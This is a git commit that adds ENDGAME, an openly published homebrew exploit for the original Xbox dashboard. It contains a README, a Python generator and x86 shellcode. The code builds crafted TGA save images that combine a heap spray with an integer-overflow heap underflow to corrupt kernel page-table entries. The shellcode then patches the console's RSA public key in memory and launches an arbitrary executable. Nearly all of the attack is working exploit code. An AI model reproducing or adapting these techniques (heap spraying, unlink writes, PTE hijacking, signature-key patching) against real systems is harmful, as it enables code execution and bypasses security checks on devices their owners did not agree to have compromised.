adds ENDGAME v1.0

This commit is contained in:
gaasedelen
2024-02-19 14:54:34 -05:00
parent 676f40701d
commit dc4deac268
6 changed files with 989 additions and 0 deletions

4
.gitignore vendored
View File

@@ -158,3 +158,7 @@ cython_debug/
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
# ignore ENDGAME build files
shellcode
/ENDGAME

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2024 Markus Gaasedelen
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

99
README.md Normal file
View File

@@ -0,0 +1,99 @@
# ENDGAME - A Dashboard Exploit for the Original Xbox
<p align="center">
<img src="https://github.com/XboxDev/endgame-exploit/assets/9522648/84c9890a-0d57-4d32-bcd6-d43ff8738ebf">
</p>
## Overview
ENDGAME is a universal dashboard exploit for the original [Microsoft Xbox](https://en.wikipedia.org/wiki/Xbox_(console)). This exploit has been carefully engineered to be compatible across all retail kernel and dashboard versions released for the original Xbox. It does not require a game, or even a working DVD drive -- *only a memory card.*
Special credit belongs to [@shutterbug2000](https://twitter.com/shutterbug20002) for the initial discovery of this vector within the dash and the first to demonstrate code execution against it. With further research, ENDGAME was developed by [@gaasedelen](https://twitter.com/gaasedelen) leveraging an adjacent vulnerability that offered greater control and facilitated a more ubiquitous exploitation strategy.
## Disclaimer
**This project does NOT use any copyrighted code, or help circumvent security mechanisms of an Xbox console.** Upon success, ENDGAME will launch a [habibi](http://toogam.bespin.org/xboxmod/site/signxbe.htm)-signed XBE from the root of the memory card. It does not patch kernel code or allow you to launch retail-signed executables.
By using this software, you accept the risk of experiencing total loss or destruction of data on the console in question.
## Building
The exploit files can be generated from scratch using Python 3 + NASM on Windows.
Example usage is provided below:
```bash
python main.py
```
Successful output should look something like the following:
```
[*] Generating ENDGAME v1.0 exploit files -- by Markus Gaasedelen & shutterbug2000
[*] Assembling shellcode... done
[*] Un-swizzling payload... done
[*] Compressing payload... done
[*] Saving helper files... done
[*] Saving trigger files... done
[+] Success, exploit files available in ENDGAME/ directory
```
A pre-built zip of the exploit and sample payload XBE is available on the [releases](https://github.com/XboxDev/endgame-exploit/releases) page of this repository.
## Usage
Copy the contents of the generated `ENDGAME/` directory to a Xbox memory card such that the root directory of the memory card has the following structure, where `payload.xbe` can be any [habibi](http://toogam.bespin.org/xboxmod/site/signxbe.htm)-signed XBE of your choosing:
```bash
/helper/
/trigger/
/payload.xbe
```
To trigger the exploit, plug the memory card into a controller and navigate to it while in the dashboard.
<p align="center">
<img src="https://github.com/XboxDev/endgame-exploit/assets/9522648/d4701947-8174-4186-ae27-affd8a7778b8">
</p>
After a few seconds, the system should begin cycling the front LED to green/orange/red to indicate success. This is followed by it launching the `payload.xbe` placed on the memory card.
# FAQ
#### Q: Is this a softmod?
* *A: No, by itself, ENDGAME is not a softmod. But it will make softmodding significantly more accessible as the community integrates it into existing softmod solutions.*
#### Q: What is new about this exploit?
* *A: This exploit will enable people to softmod any revision of the original Xbox without needing a specific game. It will also allow people to easily launch a homebrew XBE (such as the [Insignia setup assistant](https://insignia.live/connect), or content scanning tools) by simply inserting a memory card into an unmodded Xbox.*
#### Q: I don't have a memory card, can I use something else?
* *A: Yes, any FATX-formatted compatible USB device and controller port dongle should work.*
#### Q: Why am I getting Error 21 after placing my own XBE on the memory card?
* *A: Your XBE must be signed using the [habibi](http://toogam.bespin.org/xboxmod/site/signxbe.htm) key. Several tools can do this, `xbedump` being the most popular.*
#### Q: Why does my habibi-signed XBE result in a black screen with ENDGAME but not on a modded xbox?
* *A: The most common explanation is that your XBE may be using the Debug/XDK __kernel thunk__ & __entry point__ [XOR keys](https://xboxdevwiki.net/Xbe) rather than the retail ones, resulting in a crash.*
#### Q: I triggered ENDGAME but my system quickly rebooted to the dash rather than my XBE...
* *A: While this should be uncommon, it means the exploit probably crashed. It's recommended to navigate straight to the memory card on a cold boot for successful exploitation.*
#### Q: My XBE requires multiple files and external assets to run, will it work with ENDGAME?
* *A: No. Currently, ENDGAME is only structured to copy & execute a standalone XBE.*
#### Q: How does this exploit work?
* *A: The exploit targets an integer overflow in the dashboard's handling of savegame images. When the dash attempts to parse the specially crafted images on the memory card, ENDGAME obtains arbitrary code execution.*
# Authors
* shutterbug ([@shutterbug2000](https://twitter.com/shutterbug20002)), discovery and initial exploitation efforts
* Markus Gaasedelen ([@gaasedelen](https://twitter.com/gaasedelen)), root-cause-analysis & ENDGAME development
* xbox7887 ([@xbox7887](https://twitter.com/xbox7887)), minor contributions and assistance with testing

531
main.py Normal file
View File

@@ -0,0 +1,531 @@
import os
import sys
import ctypes
import struct
import subprocess
try:
import sim5960
SIM_ENABLED = True
except ImportError:
SIM_ENABLED = False
#------------------------------------------------------------------------------
# Util
#------------------------------------------------------------------------------
PAGE_SIZE = 0x1000
PTE_REGION = 0xc0000000
def pte_address(address):
return PTE_REGION | (address >> 10)
def p32(value):
return struct.pack("I", value)
def p16(value):
return struct.pack("H", value)
#------------------------------------------------------------------------------
# Exploit
#------------------------------------------------------------------------------
BASE_PATH = os.path.join(os.path.dirname(__file__))
NASM_PATH = os.path.join(BASE_PATH, "nasm.exe")
ENDGAME_PATH = os.path.join(BASE_PATH, "ENDGAME")
#
# SPRAY_BASE represents the approximate memory address of where we expect our
# 8mb helper buffer to get decompressed and swizzled into memory.
#
# this buffer consists of two components of equal size that the exploit
# depends on to obtain arbitrary code execution. half is made up of 'jump
# pages' described later and the other half is shellcode pages.
#
# the *_MID variables should point approximately half way into each of the
# two regions. this allows for +/- 2mb of wiggle room based on how memory
# layout may drift a bit based on kernel, dash, or runtime discrepancies.
#
# the base address we hardcode was selected after scanning and dumping the
# exact address from the exploit running against several kernel and dash
# combinations. it should also be somewhat resilient to some amount of
# auxillary 'navigation' around the dash prior to triggering ENDGAME.
#
SPRAY_BASE = 0xF271B000
SPRAY_JUMP_MID = SPRAY_BASE + 0x200000
SPRAY_PAYLOAD_MID = SPRAY_BASE + 0x600000
#
# these two addresses represent the pages that we hope to 'sinkhole' by way of
# PTE corruption. by manipulating their underlying PTEs, we are able to make
# these point at entirely different pages in memory.
#
# the kernel page was hand selected based on reviewing the commonality between
# retail kernels and basic runtime testing. the second PTE we corrupt is
# mostly arbitrary but must be under the code selector limit (end of kernel)
#
TARGET_KERN_PAGE = 0x80022000
TARGET_XBEH_PAGE = 0x11000
TARGET_KERN_PTE = pte_address(TARGET_KERN_PAGE) # 0xc0200088
TARGET_XBEH_PTE = pte_address(TARGET_XBEH_PAGE) # 0xc0000044
def compile_shellcode(shellcode_filepath, debug=False):
"""
Compile the shellcode at the given path and return its bytes.
"""
assert shellcode_filepath.endswith(".asm")
# Run nasm.exe and capture the output and errors
command = [NASM_PATH, shellcode_filepath]
if debug:
command.insert(1, "-dDEBUG")
print("[*] Assembling shellcode... ", end="")
result = subprocess.run(command, capture_output=True)
# Check the return code of the command
if result.returncode == 0:
output = result.stdout.decode()
if output.strip():
print(output)
# the command failed, print the error and exit the script
else:
print("[-] Failed to compile shellcode...")
print(result.stderr.decode())
exit(1)
print("done")
# read the compiled shellcode from file and return it
shellcode_bin_filepath, _ = os.path.splitext(shellcode_filepath)
shellcode = open(shellcode_bin_filepath, "rb").read()
return shellcode
def make_helper(compress, debug):
"""
Generate the ENDGAME helper files (effectively a heap spray).
"""
PTE_VALUE = SPRAY_PAYLOAD_MID & 0xFFFFF000
PTE_VALUE |= 0x63 # (Accessed | Dirty | Valid | Writable)
#
# the jump (page) payload should be as small as possible (byte-wise) in an
# effort to minimize the chance that naturally occurring calls into the
# kernel (within this page) land on anything but one of our NOP's
#
# ideally we want to setup a safer region of memory and get off this page
# as fast as possible. we do this by corrupting a second PTE that should
# be within the code selector limit (thus, executable) and unused
#
jump_payload = b""
# corrupt XBE header PTE
jump_payload += b"\xB8" + p32(TARGET_XBEH_PTE) # mov eax, 0xc0000044
jump_payload += b"\xC7\x00" + p32(PTE_VALUE) # mov DWORD PTR [eax], 0xf2fb7063
# jump to shellcode
jump_payload += b"\x68" + p32(TARGET_XBEH_PAGE) # push target
jump_payload += b"\x0F\x01\x3C\x24" # invlpg [esp]
jump_payload += b"\xC3" # ret
#
# Construct the full jump page + payload. a specific kernel .text PTE will
# be corrupted to point at one of these precisely aligned jump pages.
#
jump_page = b"\x90" * PAGE_SIZE
jump_page += jump_payload
# ensure the jump payload is aligned to the end of the jump page
jump_page = jump_page[-PAGE_SIZE:]
assert len(jump_page) == PAGE_SIZE
#
# because of the nature of heap unlink, a 4 byte value will get written
# into one of our jump pages, specifically at the memory address:
#
# PTE_VALUE = ADDR_TRAMPOLINE & 0xFFFFF000
# PTE_VALUE |= 0x61
# PTE_VALUE += 0x4
# ...
# *PTE_VALUE = 0xYYYYYYYY
#
# we insert a 0x68 byte into the jump page, creating a simple but safe
# no-op 'mov eax, 0xYYYYYYYY' instruction within the page's NOP-sled for
# the off chance we land within the anomalous page
#
jump_page = bytearray(jump_page)
jump_page[0x64] = 0xB8
# replicate the completed single page across a 4mb block of memory
jump_block = jump_page * 0x400
assert len(jump_block) == 0x400000
#
# the shellcode page represents the phase of ENDGAME which equates to
# fully unconstrained execution.
#
# in the current exploit structure, the shellcode should be less than
# 4096 bytes. this is ample for doing cleanup / repair of the memory
# space or further bootstrapping.
#
# the following logic will compile ENDGAME's shellcode with NASM and
# return the resulting bytes.
#
shellcode_filepath = os.path.join(BASE_PATH, "shellcode.asm")
shellcode = compile_shellcode(shellcode_filepath, debug)
#
# prefix the compiled shellcode (which *must* be position independent)
# with NOP's to construct a full page.
#
shellcode_page = b"\x90" * PAGE_SIZE
shellcode_page += shellcode
# ensure the shellcode payload is aligned to the end of the page
shellcode_page = shellcode_page[-PAGE_SIZE:]
assert len(shellcode_page) == PAGE_SIZE
# replicate the completed single page across a 4mb block of memory
shellcode_block = shellcode_page * 0x400
assert len(shellcode_block) == 0x400000
#
# construct the full helper blob. this represents exactly what we hope to
# see in memory once our texture has been fully decompressed and swizzled
#
# when debugging ENDGAME or researching this exploit, you can locate this
# buffer in memory using the following WinDbg command:
#
# kd> s F0000000 L08000000 41 51 61 71
#
full = b""
full += b"\x41\x51\x61\x71" # marker DWORD for debug / mem searching
full += jump_block[4:] # 4mb of jump pages
full += shellcode_block # 4mb of shellcode pages
assert len(full) == (0x800000), f"Actual len 0x{len(full):X}"
#
# when being processed and loaded by the dashboard, our helper blob will
# get SWIZZLED (as it is technically a d3d texture)... so we have to
# preemptively UN-SWIZZLE it here.
#
# It's an 0x400 x 0x800 x 4 texture (so, 8mb).
#
print("[*] Un-swizzling payload... ", end="")
unswiz_data = unswizzle32(full, 0x400, 0x800)
print("done")
#
# the TGA format allows for run-length encoding of its data, so for fun
# we actually compress our un-swizzled buffer to reduce its physical size
# by over 10x (8mb --> 750kb) -- this ensures it should fit on any MU.
#
if compress:
print("[*] Compressing payload... ", end="")
final_data = rle_compress(unswiz_data, 0x400)
print("done")
else:
final_data = unswiz_data
#
# for the purpose of this helper buffer/texture, we don't need to do
# anything buggy. simply create a TGA of the proper dimensions, with
# simple "top to bottom" and "left to right" properties
#
tga_data = make_tga(0x400, 0x800, 4, final_data, 0x28, compress)
if SIM_ENABLED:
LoadTGA = sim5960.LoadTGA()
status, decomp_data, parsed = LoadTGA.run(tga_data)
print(f"[*] Valid? {status == 0}, data left over... 0x{parsed:X}")
if status:
print(f"[-] FAIL: {status:08X}")
assert False
#
# write the exploit "helper" files to disk. note that this SaveImage must
# belong to a game title of alphabetical priority higher than the "trigger"
# files. this ensures the dash maps our helper into memory first.
#
print("[*] Saving helper files... ", end="")
spray_dir = os.path.join(ENDGAME_PATH, "helper", "0")
os.makedirs(spray_dir, exist_ok=True)
with open(os.path.join(spray_dir, "..", "TitleMeta.xbx"), "wb") as f:
f.write(b"\xFF\xFE" + "TitleName=HELPER\r\n".encode("utf-16-le"))
with open(os.path.join(spray_dir, "SaveImage.xbx"), "wb") as f:
f.write(tga_data)
# all done
print("done")
return
def make_trigger():
"""
Generate the ENDGAME trigger files.
"""
PTE_VALUE = SPRAY_JUMP_MID & 0xFFFFF000
PTE_VALUE |= 0x61 # (Accessed | Dirty | Valid)
#
# ENDGAME abuses an integer overflow in the allocation and processing of
# TGA (image) files, enabling several powerful heap primitives.
#
# this is combined with TGA's 'bottom to top' image flag to perform a
# 16-byte heap underflow, precisely corrupting the chunk's heap metadata
# to setup a pretty traditional unlink-style write4 primitive.
#
# to make ENDGAME kernel and dash agnostic, it precisely targets the PTE
# for a kernel .text page (kudos to mborgerson for the inspiration) as a
# generic means of obtaining code execution from a single arbitrary write.
#
payload = b""
# this block overwrites the heap metadata (the 16 byte underflow)
payload += p16(0x0001) # -0x10 - Size
payload += p16(0x0000) # -0x0D - Previous size
payload += b"\x00" # -0x0C - Segment index
payload += b"\x00" # -0x0B - Flags
payload += b"\x00" # -0x0A - Index
payload += b"\x00" # -0x09 - Mask
payload += p32(0x44444444) # -0x08
payload += p32(0x45454545) # -0x04
# this block will be at the start of our heap allocation (a fake chunk)
payload += p16(0x1000) # -0x10 - Size
payload += p16(0x4343) # -0x0D - Previous size
payload += b"\x00" # -0x0C - Segment index
payload += b"\x00" # -0x0B - Flags
payload += b"\x00" # -0x0A - Index
payload += b"\x00" # -0x09 - Mask
payload += p32(PTE_VALUE) # -0x08 - ENDGAME write value
payload += p32(TARGET_KERN_PTE) # -0x04 - ENDGAME write address
#
# trigger info
#
# - tga.width = 0xFFFD
# - tga.height = 0x8002
# - tga.img_depth = 2 (bytes, or 16bits)
# - tga.img_descriptor = 8 (bottom to top, left to right)
#
# (0xFFFD * 0x8002 * 2) = 0x10000FFF4
#
# NOTE: since we do not provide a sufficient amount of data to load a
# complete image, the dash's TGA parsing logic fails and will immediately
# free our corrupted chunk setting the full exploit into motion
#
tga_data = make_tga(0x8002, 0xFFFD, 2, payload, 8, False)
#
# write the exploit "trigger" files to disk. note that this SaveImage must
# belong to a game title of alphabetical priority lower than the "helper"
# files. this ensures the dash triggers the exploit at the correct time
#
print("[*] Saving trigger files... ", end="")
trigger_dir = os.path.join(ENDGAME_PATH, "trigger", "1")
os.makedirs(trigger_dir, exist_ok=True)
with open(os.path.join(trigger_dir, "..", "TitleMeta.xbx"), "wb") as f:
f.write(b"\xFF\xFE" + "TitleName=TRIGGER\r\n".encode("utf-16-le"))
with open(os.path.join(trigger_dir, "SaveImage.xbx"), "wb") as f:
f.write(tga_data)
# all done
print("done")
return
#------------------------------------------------------------------------------
# DirectX (special thanks to xbox7887)
#------------------------------------------------------------------------------
def generate_swizzle_masks(width, height):
"""
Generate bit masks for swizzling based on the given dimensions.
"""
assert (width > 0 and (width & (width - 1)) == 0), "Width must be a power of 2"
assert (height > 0 and (height & (height - 1)) == 0), "Height must be a power of 2"
x, y = 0, 0
bit, mask_bit = 1, 1
done = False
while not done:
done = True
if bit < width:
x |= mask_bit
mask_bit <<= 1
done = False
if bit < height:
y |= mask_bit
mask_bit <<= 1
done = False
bit <<= 1
return x, y
def fill_swizzle_pattern(pattern, value):
"""
Apply swizzle pattern to a given value for address calculation.
"""
result = 0
bit = 1
while value != 0:
if pattern & bit != 0:
result |= bit if value & 1 != 0 else 0
value >>= 1
bit <<= 1
return result
def unswizzle32(data, width, height):
"""
Convert swizzled buffer to linear format for 32-bit pixels.
"""
mask_x, mask_y = generate_swizzle_masks(width, height)
dst_buf = bytearray(len(data))
for y in range(height):
src_y_offset = fill_swizzle_pattern(mask_y, y) * 4
dst_y_offset = width * y * 4
for x in range(width):
src_offset = src_y_offset + fill_swizzle_pattern(mask_x, x) * 4
dst_offset = dst_y_offset + x * 4
dst_buf[dst_offset:dst_offset+4] = data[src_offset:src_offset+4]
return bytes(dst_buf)
#------------------------------------------------------------------------------
# Truevision TGA
#------------------------------------------------------------------------------
class TGAHeader(ctypes.Structure):
_pack_ = 1
_fields_ = [
("id_len", ctypes.c_byte),
("color_map_type", ctypes.c_byte),
("img_type", ctypes.c_byte),
("color_map_ofs", ctypes.c_ushort),
("num_color_map", ctypes.c_ushort),
("color_map_depth", ctypes.c_byte),
("x_offset", ctypes.c_ushort),
("y_offset", ctypes.c_ushort),
("width", ctypes.c_ushort),
("height", ctypes.c_ushort),
("img_depth", ctypes.c_byte),
("img_descriptor", ctypes.c_byte)
]
@property
def top_to_bottom(self):
return (self.img_descriptor & 0x20) == 0x20
@property
def left_to_right(self):
return (self.img_descriptor & 0x10) != 0x10
@property
def compressed(self):
return bool(self.img_type & 0x08)
def __str__(self):
"""
Pretty-print the TGAHeader.
"""
lines = ["TGAHeader - "]
for field_name, field_type in self._fields_:
value = getattr(self, field_name)
line = f"{field_name.rjust(18, ' ')}: 0x{value:02X}"
lines.append(line)
if field_name == "img_type":
lines.append(f" |--- compressed: {self.compressed}")
if field_name == "img_descriptor":
lines.append(f" |- top_to_bottom: {self.top_to_bottom}")
lines.append(f" |- left_to_right: {self.left_to_right}")
return "\n".join(lines)
def make_tga(width, height, depth=4, data=b"", descriptor=8, rle=True):
"""
Initialize a TGA with the given properties and return its bytes.
"""
tga = TGAHeader()
tga.img_type = 2
tga.img_type |= (int(rle) << 3)
if not (0 < width < 0x10000):
raise ValueError("Invalid width")
if not (0 < height < 0x10000):
raise ValueError("Invalid height")
tga.width = width
tga.height = height
if not (0 < depth < 5):
raise ValueError("Invalid depth")
tga.img_depth = (depth * 8)
tga.img_descriptor = descriptor
return bytes(tga) + data
def rle_compress(data, width):
"""
Run-length encode (compress) the given data for a TGA image.
"""
depth = 4
output = bytearray()
for row_start in range(0, len(data), width):
offset = row_start
while offset < row_start + width:
pattern = data[offset:offset+depth]
offset += depth
count = 0
while offset < row_start + width and data[offset:offset+depth] == pattern and count < 127:
count += 1
offset += depth
rle_byte = 0x80 | count if count else 0
output.extend([rle_byte] + list(pattern))
return bytes(output)
#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------
def main(argc, argv):
"""
Script main.
"""
# simple argument parsing / check to build a debug version of the exploit
debug = argc > 1 and argv[1] in ["-d", "--debug"]
# generate the ENDGAME exploit files
print(f"[*] Generating ENDGAME v1.0{' (debug)' if debug else ''} exploit files -- by Markus Gaasedelen & shutterbug2000")
make_helper(True, debug)
make_trigger()
print(f"[+] Success, exploit files available in ENDGAME/ directory")
if __name__ == "__main__":
main(len(sys.argv), sys.argv)

BIN
nasm.exe Normal file

Binary file not shown.

334
shellcode.asm Normal file
View File

@@ -0,0 +1,334 @@
;
; compile: nasm shellcode.asm
;
; NOTE: something to keep in mind when reading/editing this file is that we
; are executing this page out of write-combining memory. we regularly use
; sfence/wbinvd to try and flush things out and keep everything happy.
;
; otherwise, if you are not careful, there can be.. strange side effects.
;
BITS 32
;
; setup EBP to point at the base of this shellcode payload. this will allow
; us to easily make relative references to shellcode labels, making this
; payload position independent.
;
start:
call $+5
pop ebp
sub ebp, $-1
;
; check if we are the first thread to enter the ENDGAME shellcode page,
; if so, take the 'lock' to prevent the possibility of another thread
; coming through should we get preempted. this isn't totally out of the
; question since we sinkholed a page of kernel .text ...
;
check_lock:
mov eax, 0
mov ebx, 1
lock cmpxchg [ebp+locked], ebx
jz repair_pte
.inf:
hlt
jmp .inf ; trap any threads that could have chased us into this page
;
; repair the kernel .text PTE we corrupted to hijack code execution. please
; note that this must reconcile with the address/values in main.py
;
repair_pte:
mov eax, 0xc0200088
mov dword [eax], 0x22461
invlpg [0x80022000]
wbinv
;
; dynamically resolve kernel exports that the shellcode will use
;
locate_exports:
cld ; clear the direction flag so the string instructions increment the address
mov esi, 80010000h ; kernel base address
mov eax, [esi+3Ch] ; value of e_lfanew (File address of new exe header)
mov ebx, [esi+eax+78h] ; value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0)
add ebx, esi
mov edx, [ebx+1Ch] ; value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308)
add edx, esi ; address of kernel export table
lea edi, [ebp+kexports] ; address of the local kernel export table
.get_exports:
mov ecx, [edi] ; load the entry from the local table
jecxz .done_exports
sub ecx, [ebx+10h] ; subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base
mov eax, [edx+4*ecx] ; load the export by number from the kernel table
test eax, eax
jz .empty ; skip if the export is empty
add eax, esi ; add kernel base address to the export to construct a valid pointer
.empty:
stosd ; save the value back to the local table and increment EDI by 4
jmp .get_exports
.done_exports:
;
; find XAPI's CopyFile() - "55 [8D 6C 24 A0 81 EC 9C 00] ..."
;
find_copy_file:
mov ecx, 0x30000 ; approximate memory address in the dash to start searching forward from
mov edx, 0xA0000 ; approximate memory address in the dash to stop searching
.check_pattern:
inc ecx ; increment the search pointer
cmp ecx, edx ; compare current address with end address
jge .error ; if past the end of the search space, end the search
mov eax, [ecx] ; move 4 bytes from the current address (dash code) into EAX
cmp eax, 0xa0246c8d ; compare with the first part of the egg (reversed due to endianness)
jnz .check_pattern ; if not equal, continue searching
mov eax, [ecx+4] ; move the next 4 bytes from memory into EAX
cmp eax, 0x009cec81 ; compare with the second part of the egg (reversed due to endianness)
jnz .check_pattern ; if not equal, continue searching
dec ecx ; found it! decrement ECX since the pattern is +1 into the func
lea edi, [ebp+CopyFileEx]
mov [edi], ecx
jmp .done_resolution
.error:
jmp .error
.done_resolution:
wbinvd
;
; drop IRQL to PASSIVE because the thread we hijacked may have come in at a
; higher level and this can cause issues when calling kernel exports or XAPI
;
lower_irql:
mov ecx, 0
call dword [ebp+KfLowerIrql]
%ifdef DEBUG
;
; locate the of address our 'helper' allocation in memory. this is purely
; used for debug / testing of ENDGAME -- it helped provide some introspection
; on where our stuff was getting mapped on retail hardware.
;
find_helper:
mov ebx, 0xF1000000 ; where to start searching memory
.loop:
add ebx, 0x1000 ; increment to the next page
push ebx
call [ebp+MmIsAddressValid] ; check if the address is safe to dereference
jz .loop
cmp dword [ebx], 0x71615141 ; does this page start with our magic marker?
jnz .loop
dbg_print:
;
; sprintf(...)
;
sub esp, 0x100 ; make a 256 byte buffer on the stack
mov ecx, esp
push ebx ; arg1 for format string
lea eax, [ebp+fmt_str]
push eax ; format string
push ecx ; buffer
sfence
call [ebp+sprintf]
add esp, 0x0C
;
; OutputDebugString(...)
;
push esp ; Buffer
push 0
mov word [esp+0], ax ; Length
mov word [esp+2], 0x100 ; MaxLength
sfence
mov ecx, esp
mov eax, 1
int 0x2D ; debug print to superio
int3 ; do not remove (required for proper int 2Dh handling)
add esp, 0x108 ; cleanup buffer (0x100) + debug print structure (0x8)
%endif
;
; loop through each memory card drive letter and attempt to copy payload.xbe
; from the MU to E:\payload.xbe. Once a copy succeeds, break from the loop.
;
copy_file:
cmp byte [ebp+mu_path], 'N' ; have we made it through all the memory card slots?
je copy_failure
xor eax, eax
push eax ; - dwCopyFlags
push eax ; - pbCancel
push eax ; - lpData
push eax ; - lpProgressRoutine
lea eax, [ebp+hdd_path]
push eax ; - lpNewFileName
lea eax, [ebp+mu_path]
push eax ; - lpExistingFilename
call dword [ebp+CopyFileEx] ; CopyFileEx(MU_X, HDD, NULL, NULL, NULL, NULL);
inc byte [ebp+mu_path] ; increment drive letter to try copying from the next MU
wbinvd
test eax, eax ; if CopyFileEx(...) did not indicate it copied a file, keep looping
jz copy_file
copy_success:
mov ecx, 0D7h ; red-orange-green (success)
lea eax, [ebp+blink_led]
call eax
jmp make_habibi
copy_failure:
mov ecx, 0A0h ; red blinking (failure)
call blink_led
.inf:
jmp short .inf
;
; modify the RSA key data to make it habibi compatible
;
make_habibi:
mov ebx, [ebp+XePublicKeyData]
or ebx, 0xF0000000
pushf
cli ; disable interrupts
xor dword [ebx+110h], 2DD78BD6h ; alter the last 4 bytes of the public key
mov ecx, cr3 ; invalidate TLB
mov cr3, ecx
popf ; re-enable interrupts
;
; cribbed from past softmods, roughly a re-creation of the following:
; - https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36
;
launch_xbe:
mov esi, [ebp+LaunchDataPage] ; https://xboxdevwiki.net/Kernel/LaunchDataPage
mov ebx, [esi]
mov edi, 1000h
test ebx, ebx ; check the LaunchDataPage pointer
jnz .mem_ok ; jump if it's not NULL
push edi
call dword [ebp+MmAllocateContiguousMemory] ; otherwise, allocate a memory page
mov ebx, eax ; and store the pointer to the allocated page in EBX
mov [esi], eax ; store the pointer back to the kernel as well
.mem_ok:
push byte 1
push edi
push ebx
call dword [ebp+MmPersistContiguousMemory]
mov edi,ebx
xor eax,eax
mov ecx,400h
rep stosd ; fill the whole LaunchDataPage memory page (4096 Bytes) with zeros
or dword [ebx], byte -1 ; set LaunchDataPage.launch_data_type to 0xFFFFFFFF
mov [ebx+4], eax ; set LaunchDataPage.title_id to 0
lea edi, [ebx+8] ; copy the address of LaunchDataPage.launch_path string
lea esi, [ebp+xbe_str]
push byte xbe_strlen
pop ecx
rep movsb ; copy the executable path to the LaunchDataPage.launch_path
push byte 2 ; 2 stands for ReturnFirmwareQuickReboot
sfence
wbinvd ; flush the CPU caches to ensure all our writes are in main memory
call dword [ebp+HalReturnToFirmware]
.inf:
jmp short .inf
;
; blink LED to demonstrate code execution
;
blink_led:
push ecx
push byte 0
push byte 8
push byte 20h
call [ebp+HalWriteSMBusValue] ; set LED pattern
push byte 1
push byte 0
push byte 7
push byte 20h
call [ebp+HalWriteSMBusValue] ; enable LED override
ret
;
; '.data' section for our shellcode
;
kexports:
HalReturnToFirmware dd 49
HalWriteSMBusValue dd 50
KfLowerIrql dd 161
LaunchDataPage dd 164
MmAllocateContiguousMemory dd 165
MmPersistContiguousMemory dd 178
XePublicKeyData dd 355
; ENDGAME debug helpers
%ifdef DEBUG
MmIsAddressValid dd 174
sprintf dd 362
%endif
; end of local export table
dd 0
xapi:
CopyFileEx dd 0
strings:
mu_path db 'F:\payload.xbe', 0 ; first memory card slot
hdd_path db 'C:\payload.xbe', 0 ; E drive (as aliased in dash)
xbe_str db '\Device\Harddisk0\Partition1\payload.xbe', 0
xbe_strlen equ $-xbe_str
%ifdef DEBUG
fmt_str db 'Spray base 0x%08X', 0x0a, 0x0d, 0
%endif
misc:
locked dd 0
version dd 0x00010000 ; [-unused-].[major].[minor].[patch]
;
; no purpose but to serve as a static marker for the end of our shellcode
;
end:
dd 0xCCCCCCCC